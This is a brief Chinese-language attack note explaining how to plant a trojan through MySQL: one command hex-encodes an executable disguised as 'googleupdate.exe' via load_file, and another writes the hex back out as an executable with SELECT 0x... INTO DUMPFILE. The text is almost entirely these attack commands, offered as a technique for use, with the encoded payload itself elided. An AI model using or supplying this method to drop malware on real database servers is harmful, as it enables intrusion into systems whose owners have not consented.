通过mysql编码 以hex字符串注入方法

木马编码

select hex(load_file("C://Users//zyh//Desktop//googleupdate.exe")) into outfile "C://Users//zyh//Desktop//hex.txt"

编码接在0x后，mysql执行，写入木马文件

select 0x...... into dumpfile `C://Users//zyh//Desktop//googleupdate.exe`